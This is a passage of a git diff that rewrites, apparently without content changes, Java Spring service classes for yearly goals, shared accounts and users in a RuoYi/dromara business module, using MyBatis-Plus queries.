com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.domain.SysUser; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.TpYear; -import org.dromara.work.domain.bo.TpYearBo; -import org.dromara.work.domain.vo.TpYearVo; -import org.dromara.work.mapper.TpYearMapper; -import org.dromara.work.service.ITpYearService; -import org.springframework.stereotype.Service; - -import java.util.*; -import java.util.stream.Collectors; - -/** - * 年目标Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpYearServiceImpl extends MPJBaseServiceImpl implements ITpYearService { - - private final TpYearMapper baseMapper; - - private final SysUserMapper userMapper; - - private final SysDeptMapper deptMapper; - - private final SysRoleDeptMapper roleDeptMapper; - - /** - * 查询年目标 - * - * @param id 主键 - * @return 年目标 - */ - @Override - public TpYearVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询年目标列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 年目标分页列表 - */ - @Override - public TableDataInfo queryPageList(TpYearBo bo, PageQuery pageQuery) { - MPJLambdaWrapper lqw = buildQueryWrapper(bo); - lqw.selectAll(TpYear.class) - .selectAs(SysUser::getNickName, TpYearVo::getNickName) - .selectAs(SysUser::getRealName, TpYearVo::getRealName) - .selectAs(SysDept::getDeptName, TpYearVo::getDeptName) - .leftJoin(SysUser.class, SysUser::getUserId, TpYear::getSid) - .leftJoin(SysDept.class, SysDept::getDeptId, SysUser::getDeptId) - .orderByDesc(TpYear::getId); - - IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpYearVo.class, lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的年目标列表 - * - * @param bo 查询条件 - * @return 年目标列表 - */ - @Override - public List queryList(TpYearBo bo) { - MPJLambdaWrapper lqw = buildQueryWrapper(bo); - lqw.selectAll(TpYear.class) - .selectAs(SysUser::getNickName, TpYearVo::getNickName) - .selectAs(SysUser::getRealName, TpYearVo::getRealName) - .selectAs(SysDept::getDeptName, TpYearVo::getDeptName) - .leftJoin(SysUser.class, SysUser::getUserId, TpYear::getSid) - .leftJoin(SysDept.class, SysDept::getDeptId, SysUser::getDeptId) - .orderByDesc(TpYear::getId); - - return baseMapper.selectJoinList(TpYearVo.class,lqw); - } - - private MPJLambdaWrapper buildQueryWrapper(TpYearBo bo) { - MPJLambdaWrapper lqw =new MPJLambdaWrapper<>(); - if(ObjectUtil.isNotNull(bo.getDeptId())){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(bo.getDeptId()); - lqw.in(TpYear::getDeptId, deptIds); - }/*else { - LoginUser loginUser = LoginHelper.getLoginUser(); - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpYear::getDeptId, deptIds); - }else if(scope == 3){ - lqw.in(TpYear::getDeptId, loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpYear::getDeptId, deptIds); - }else if(scope == 5){ - lqw.eq(TpYear::getSid,loginUser.getUserId()); - } - }*/ - lqw.like(StringUtils.isNotBlank(bo.getNickName()), SysUser::getNickName, bo.getNickName()); - lqw.eq(bo.getSid() != null, TpYear::getSid, bo.getSid()); - lqw.in(bo.getUserIds() != null, TpYear::getSid, bo.getUserIds()); - lqw.eq(StringUtils.isNotBlank(bo.getYear()), TpYear::getYear, bo.getYear()); - lqw.eq(bo.getGeren() != null, TpYear::getGeren, bo.getGeren()); - lqw.eq(bo.getGongsi() != null, TpYear::getGongsi, bo.getGongsi()); - lqw.eq(bo.getAddTime() != null, TpYear::getAddTime, bo.getAddTime()); - return lqw; - } - - public int getDataScope() { - LoginUser loginUser = LoginHelper.getLoginUser(); - List ids = loginUser != null ? - loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : - Collections.emptyList(); - - if (ids.contains("1")) { - return 1; - } else if (ids.contains("2")) { - return 2; - } else if (ids.contains("3")) { - return 3; - } else if (ids.contains("4")) { - return 4; - } else if (ids.contains("5")) { - return 5; - } - return 0; - } - - public List getDeptIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); - return getDeptIds.stream().distinct().collect(Collectors.toList()); - } - - /** - * 新增年目标 - * - * @param bo 年目标 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpYearBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - DateTime now = DateTime.now(); - int year = now.year(); - boolean exists = baseMapper.exists(new LambdaQueryWrapper().eq(TpYear::getSid,bo.getSid()).eq(TpYear::getYear, bo.getYear())); - if(exists){ - throw new ServiceException("该用户已存在该年的目标,请勿重复添加!"); - } -// bo.setSid(bo.getSid()); -// bo.setYear(String.valueOf(year)); - bo.setAddTime(new Date()); - - SysDept dept = deptMapper.selectById(bo.getDeptId()); - bo.setDeptId(dept.getDeptId()); - bo.setAncestors(dept.getAncestors()); - - TpYear add = MapstructUtils.convert(bo, TpYear.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改年目标 - * - * @param bo 年目标 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpYearBo bo) { - /*LoginUser loginUser = LoginHelper.getLoginUser(); - DateTime now = DateTime.now(); - int year = now.year(); - TpYear update = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpYear::getSid,loginUser.getUserId()).eq(TpYear::getYear, year)); - if (update != null) { - update.setGeren(bo.getGeren()); - update.setAddTime(new Date()); - return baseMapper.updateById(update) > 0; - } - bo.setSid(loginUser.getUserId()); - bo.setYear(String.valueOf(year));*/ - bo.setAddTime(new Date()); - TpYear add = MapstructUtils.convert(bo, TpYear.class); - return baseMapper.updateById(add) > 0; - } - - /** - * 校验并批量删除年目标信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } - - @Override - public TpYearVo queryTpYear(TpYearBo yearBo) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpYear::getSid, yearBo.getSid()).eq(TpYear::getYear, yearBo.getYear())); - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.domain.SysUser; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.TpYear; +import org.dromara.work.domain.bo.TpYearBo; +import org.dromara.work.domain.vo.TpYearVo; +import org.dromara.work.mapper.TpYearMapper; +import org.dromara.work.service.ITpYearService; +import org.springframework.stereotype.Service; + +import java.util.*; +import java.util.stream.Collectors; + +/** + * 年目标Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpYearServiceImpl extends MPJBaseServiceImpl implements ITpYearService { + + private final TpYearMapper baseMapper; + + private final SysUserMapper userMapper; + + private final SysDeptMapper deptMapper; + + private final SysRoleDeptMapper roleDeptMapper; + + /** + * 查询年目标 + * + * @param id 主键 + * @return 年目标 + */ + @Override + public TpYearVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询年目标列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 年目标分页列表 + */ + @Override + public TableDataInfo queryPageList(TpYearBo bo, PageQuery pageQuery) { + MPJLambdaWrapper lqw = buildQueryWrapper(bo); + lqw.selectAll(TpYear.class) + .selectAs(SysUser::getNickName, TpYearVo::getNickName) + .selectAs(SysUser::getRealName, TpYearVo::getRealName) + .selectAs(SysDept::getDeptName, TpYearVo::getDeptName) + .leftJoin(SysUser.class, SysUser::getUserId, TpYear::getSid) + .leftJoin(SysDept.class, SysDept::getDeptId, SysUser::getDeptId) + .orderByDesc(TpYear::getId); + + IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpYearVo.class, lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的年目标列表 + * + * @param bo 查询条件 + * @return 年目标列表 + */ + @Override + public List queryList(TpYearBo bo) { + MPJLambdaWrapper lqw = buildQueryWrapper(bo); + lqw.selectAll(TpYear.class) + .selectAs(SysUser::getNickName, TpYearVo::getNickName) + .selectAs(SysUser::getRealName, TpYearVo::getRealName) + .selectAs(SysDept::getDeptName, TpYearVo::getDeptName) + .leftJoin(SysUser.class, SysUser::getUserId, TpYear::getSid) + .leftJoin(SysDept.class, SysDept::getDeptId, SysUser::getDeptId) + .orderByDesc(TpYear::getId); + + return baseMapper.selectJoinList(TpYearVo.class,lqw); + } + + private MPJLambdaWrapper buildQueryWrapper(TpYearBo bo) { + MPJLambdaWrapper lqw =new MPJLambdaWrapper<>(); + if(ObjectUtil.isNotNull(bo.getDeptId())){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(bo.getDeptId()); + lqw.in(TpYear::getDeptId, deptIds); + }/*else { + LoginUser loginUser = LoginHelper.getLoginUser(); + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpYear::getDeptId, deptIds); + }else if(scope == 3){ + lqw.in(TpYear::getDeptId, loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpYear::getDeptId, deptIds); + }else if(scope == 5){ + lqw.eq(TpYear::getSid,loginUser.getUserId()); + } + }*/ + lqw.like(StringUtils.isNotBlank(bo.getNickName()), SysUser::getNickName, bo.getNickName()); + lqw.eq(bo.getSid() != null, TpYear::getSid, bo.getSid()); + lqw.in(bo.getUserIds() != null, TpYear::getSid, bo.getUserIds()); + lqw.eq(StringUtils.isNotBlank(bo.getYear()), TpYear::getYear, bo.getYear()); + lqw.eq(bo.getGeren() != null, TpYear::getGeren, bo.getGeren()); + lqw.eq(bo.getGongsi() != null, TpYear::getGongsi, bo.getGongsi()); + lqw.eq(bo.getAddTime() != null, TpYear::getAddTime, bo.getAddTime()); + return lqw; + } + + public int getDataScope() { + LoginUser loginUser = LoginHelper.getLoginUser(); + List ids = loginUser != null ? + loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : + Collections.emptyList(); + + if (ids.contains("1")) { + return 1; + } else if (ids.contains("2")) { + return 2; + } else if (ids.contains("3")) { + return 3; + } else if (ids.contains("4")) { + return 4; + } else if (ids.contains("5")) { + return 5; + } + return 0; + } + + public List getDeptIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); + return getDeptIds.stream().distinct().collect(Collectors.toList()); + } + + /** + * 新增年目标 + * + * @param bo 年目标 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpYearBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + DateTime now = DateTime.now(); + int year = now.year(); + boolean exists = baseMapper.exists(new LambdaQueryWrapper().eq(TpYear::getSid,bo.getSid()).eq(TpYear::getYear, bo.getYear())); + if(exists){ + throw new ServiceException("该用户已存在该年的目标,请勿重复添加!"); + } +// bo.setSid(bo.getSid()); +// bo.setYear(String.valueOf(year)); + bo.setAddTime(new Date()); + + SysDept dept = deptMapper.selectById(bo.getDeptId()); + bo.setDeptId(dept.getDeptId()); + bo.setAncestors(dept.getAncestors()); + + TpYear add = MapstructUtils.convert(bo, TpYear.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改年目标 + * + * @param bo 年目标 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpYearBo bo) { + /*LoginUser loginUser = LoginHelper.getLoginUser(); + DateTime now = DateTime.now(); + int year = now.year(); + TpYear update = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpYear::getSid,loginUser.getUserId()).eq(TpYear::getYear, year)); + if (update != null) { + update.setGeren(bo.getGeren()); + update.setAddTime(new Date()); + return baseMapper.updateById(update) > 0; + } + bo.setSid(loginUser.getUserId()); + bo.setYear(String.valueOf(year));*/ + bo.setAddTime(new Date()); + TpYear add = MapstructUtils.convert(bo, TpYear.class); + return baseMapper.updateById(add) > 0; + } + + /** + * 校验并批量删除年目标信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } + + @Override + public TpYearVo queryTpYear(TpYearBo yearBo) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpYear::getSid, yearBo.getSid()).eq(TpYear::getYear, yearBo.getYear())); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzSharedAccountServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzSharedAccountServiceImpl.java index bc0e083..a49a411 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzSharedAccountServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzSharedAccountServiceImpl.java @@ -1,164 +1,164 @@ -package org.dromara.work.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.springframework.stereotype.Service; -import org.dromara.work.domain.bo.TzSharedAccountBo; -import org.dromara.work.domain.vo.TzSharedAccountVo; -import org.dromara.work.domain.TzSharedAccount; -import org.dromara.work.mapper.TzSharedAccountMapper; -import org.dromara.work.service.ITzSharedAccountService; - -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * 共享账号Service业务层处理 - * - * @author Maosw - * @date 2025-05-06 - */ -@RequiredArgsConstructor -@Service -public class TzSharedAccountServiceImpl implements ITzSharedAccountService { - - private final TzSharedAccountMapper baseMapper; - - /** - * 查询共享账号 - * - * @param id 主键 - * @return 共享账号 - */ - @Override - public TzSharedAccountVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询共享账号列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 共享账号分页列表 - */ - @Override - public TableDataInfo queryPageList(TzSharedAccountBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询共享账号数量 - * - * @param bo 查询条件 - * @return 共享账号数量 - */ - @Override - public Map queryCount(TzSharedAccountBo bo) { - List list = queryList(bo); - //账号总数量 - Long count = (long) list.size(); - //账号未使用数量 - Long notUsedCount = list.stream().filter(item -> item.getStatus() == 0).count(); - //账号使用中数量 - Long usingCount = list.stream().filter(item -> item.getStatus() == 1).count(); - - Map map = new HashMap<>(); - map.put("count", count); - map.put("notUsedCount", notUsedCount); - map.put("usingCount", usingCount); - return map; - } - - /** - * 查询符合条件的共享账号列表 - * - * @param bo 查询条件 - * @return 共享账号列表 - */ - @Override - public List queryList(TzSharedAccountBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TzSharedAccountBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.orderByDesc(TzSharedAccount::getCreateTime); - lqw.eq(bo.getUserId() != null, TzSharedAccount::getUserId, bo.getUserId()); - lqw.like(StringUtils.isNotBlank(bo.getUserName()), TzSharedAccount::getUserName, bo.getUserName()); - lqw.eq(StringUtils.isNotBlank(bo.getCode()), TzSharedAccount::getCode, bo.getCode()); - lqw.like(StringUtils.isNotBlank(bo.getLoginName()), TzSharedAccount::getLoginName, bo.getLoginName()); - lqw.eq(bo.getStatus() != null, TzSharedAccount::getStatus, bo.getStatus()); - lqw.between(params.get("beginStartTime") != null && params.get("endStartTime") != null, - TzSharedAccount::getStartTime ,params.get("beginStartTime"), params.get("endStartTime")); - lqw.between(params.get("beginEndTime") != null && params.get("endEndTime") != null, - TzSharedAccount::getEndTime ,params.get("beginEndTime"), params.get("endEndTime")); - lqw.like(StringUtils.isNotBlank(bo.getBindName()), TzSharedAccount::getBindName, bo.getBindName()); - lqw.eq(StringUtils.isNotBlank(bo.getBindPhone()), TzSharedAccount::getBindPhone, bo.getBindPhone()); - lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, - TzSharedAccount::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); - return lqw; - } - - /** - * 新增共享账号 - * - * @param bo 共享账号 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TzSharedAccountBo bo) { - TzSharedAccount add = MapstructUtils.convert(bo, TzSharedAccount.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改共享账号 - * - * @param bo 共享账号 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TzSharedAccountBo bo) { - TzSharedAccount update = MapstructUtils.convert(bo, TzSharedAccount.class); - return baseMapper.updateById(update) > 0; - } - - /** - * 批量更新共享账号 - * - * @param list1 共享账号列表 - */ - @Override - public void updateBatchById(List list1) { - baseMapper.updateBatchById(list1); - } - - /** - * 校验并批量删除共享账号信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TzSharedAccountBo; +import org.dromara.work.domain.vo.TzSharedAccountVo; +import org.dromara.work.domain.TzSharedAccount; +import org.dromara.work.mapper.TzSharedAccountMapper; +import org.dromara.work.service.ITzSharedAccountService; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 共享账号Service业务层处理 + * + * @author Maosw + * @date 2025-05-06 + */ +@RequiredArgsConstructor +@Service +public class TzSharedAccountServiceImpl implements ITzSharedAccountService { + + private final TzSharedAccountMapper baseMapper; + + /** + * 查询共享账号 + * + * @param id 主键 + * @return 共享账号 + */ + @Override + public TzSharedAccountVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询共享账号列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 共享账号分页列表 + */ + @Override + public TableDataInfo queryPageList(TzSharedAccountBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询共享账号数量 + * + * @param bo 查询条件 + * @return 共享账号数量 + */ + @Override + public Map queryCount(TzSharedAccountBo bo) { + List list = queryList(bo); + //账号总数量 + Long count = (long) list.size(); + //账号未使用数量 + Long notUsedCount = list.stream().filter(item -> item.getStatus() == 0).count(); + //账号使用中数量 + Long usingCount = list.stream().filter(item -> item.getStatus() == 1).count(); + + Map map = new HashMap<>(); + map.put("count", count); + map.put("notUsedCount", notUsedCount); + map.put("usingCount", usingCount); + return map; + } + + /** + * 查询符合条件的共享账号列表 + * + * @param bo 查询条件 + * @return 共享账号列表 + */ + @Override + public List queryList(TzSharedAccountBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TzSharedAccountBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByDesc(TzSharedAccount::getCreateTime); + lqw.eq(bo.getUserId() != null, TzSharedAccount::getUserId, bo.getUserId()); + lqw.like(StringUtils.isNotBlank(bo.getUserName()), TzSharedAccount::getUserName, bo.getUserName()); + lqw.eq(StringUtils.isNotBlank(bo.getCode()), TzSharedAccount::getCode, bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getLoginName()), TzSharedAccount::getLoginName, bo.getLoginName()); + lqw.eq(bo.getStatus() != null, TzSharedAccount::getStatus, bo.getStatus()); + lqw.between(params.get("beginStartTime") != null && params.get("endStartTime") != null, + TzSharedAccount::getStartTime ,params.get("beginStartTime"), params.get("endStartTime")); + lqw.between(params.get("beginEndTime") != null && params.get("endEndTime") != null, + TzSharedAccount::getEndTime ,params.get("beginEndTime"), params.get("endEndTime")); + lqw.like(StringUtils.isNotBlank(bo.getBindName()), TzSharedAccount::getBindName, bo.getBindName()); + lqw.eq(StringUtils.isNotBlank(bo.getBindPhone()), TzSharedAccount::getBindPhone, bo.getBindPhone()); + lqw.between(params.get("beginCreateTime") != null && params.get("endCreateTime") != null, + TzSharedAccount::getCreateTime ,params.get("beginCreateTime"), params.get("endCreateTime")); + return lqw; + } + + /** + * 新增共享账号 + * + * @param bo 共享账号 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TzSharedAccountBo bo) { + TzSharedAccount add = MapstructUtils.convert(bo, TzSharedAccount.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改共享账号 + * + * @param bo 共享账号 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TzSharedAccountBo bo) { + TzSharedAccount update = MapstructUtils.convert(bo, TzSharedAccount.class); + return baseMapper.updateById(update) > 0; + } + + /** + * 批量更新共享账号 + * + * @param list1 共享账号列表 + */ + @Override + public void updateBatchById(List list1) { + baseMapper.updateBatchById(list1); + } + + /** + * 校验并批量删除共享账号信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzUserServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzUserServiceImpl.java index 250c629..1cf9887 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzUserServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TzUserServiceImpl.java @@ -1,255 +1,255 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TzUser; -import org.dromara.work.domain.bo.TzUserBo; -import org.dromara.work.domain.vo.TzUserVo; -import org.dromara.work.mapper.TzUserMapper; -import org.dromara.work.service.ITzUserService; -import org.springframework.stereotype.Service; - -import java.math.BigDecimal; -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 用户Service业务层处理 - * - * @author Lion Li - * @date 2024-07-30 - */ -@RequiredArgsConstructor -@Service -public class TzUserServiceImpl extends MPJBaseServiceImpl implements ITzUserService { - - private final TzUserMapper baseMapper; - - /** - * 查询用户 - * - * @param userId 主键 - * @return 用户 - */ - @Override - public TzUserVo queryById(Long userId){ - return baseMapper.selectVoById(userId); - } - - /** - * 分页查询用户列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 用户分页列表 - */ - @Override - public TableDataInfo queryPageList(TzUserBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - - // 获取用户列表 - /*List userList = result.getRecords(); - - // 遍历用户列表,查询每个用户的已完成订单数量 - for (TzUserVo user : userList) { - LambdaQueryWrapper orderWrapper = Wrappers.lambdaQuery(); - orderWrapper.eq(HyOrderItem::getUserId, user.getUserId()); - orderWrapper.eq(HyOrderItem::getStatus, 6); - Long orderCount = hyOrderItemMapper.selectCount(orderWrapper); - user.setOrderNum(orderCount); - }*/ - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的用户列表 - * - * @param bo 查询条件 - * @return 用户列表 - */ - @Override - public List queryList(TzUserBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - /** - * 根据手机号查询用户信息 - * - * @param userPhone 手机号 - * @return 用户信息 - */ - @Override - public TzUserVo queryUserInfoByPhone(String userPhone) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TzUser::getUserMobile, userPhone)); - } - - private LambdaQueryWrapper buildQueryWrapper(TzUserBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getNickName()), TzUser::getNickName, bo.getNickName()); - lqw.like(StringUtils.isNotBlank(bo.getRealName()), TzUser::getRealName, bo.getRealName()); - lqw.eq(StringUtils.isNotBlank(bo.getUserMail()), TzUser::getUserMail, bo.getUserMail()); - lqw.eq(StringUtils.isNotBlank(bo.getLoginPassword()), TzUser::getLoginPassword, bo.getLoginPassword()); - lqw.eq(StringUtils.isNotBlank(bo.getPayPassword()), TzUser::getPayPassword, bo.getPayPassword()); - lqw.eq(StringUtils.isNotBlank(bo.getUserMobile()), TzUser::getUserMobile, bo.getUserMobile()); - lqw.eq(StringUtils.isNotBlank(bo.getIdCard()), TzUser::getIdCard, bo.getIdCard()); - lqw.eq(bo.getModifyTime() != null, TzUser::getModifyTime, bo.getModifyTime()); - lqw.eq(bo.getUserRegtime() != null, TzUser::getUserRegtime, bo.getUserRegtime()); - lqw.eq(bo.getIsMember() != null, TzUser::getIsMember, bo.getIsMember()); - lqw.eq(bo.getExamineFlag() != null, TzUser::getExamineFlag, bo.getExamineFlag()); - lqw.eq(StringUtils.isNotBlank(bo.getUserRegip()), TzUser::getUserRegip, bo.getUserRegip()); - 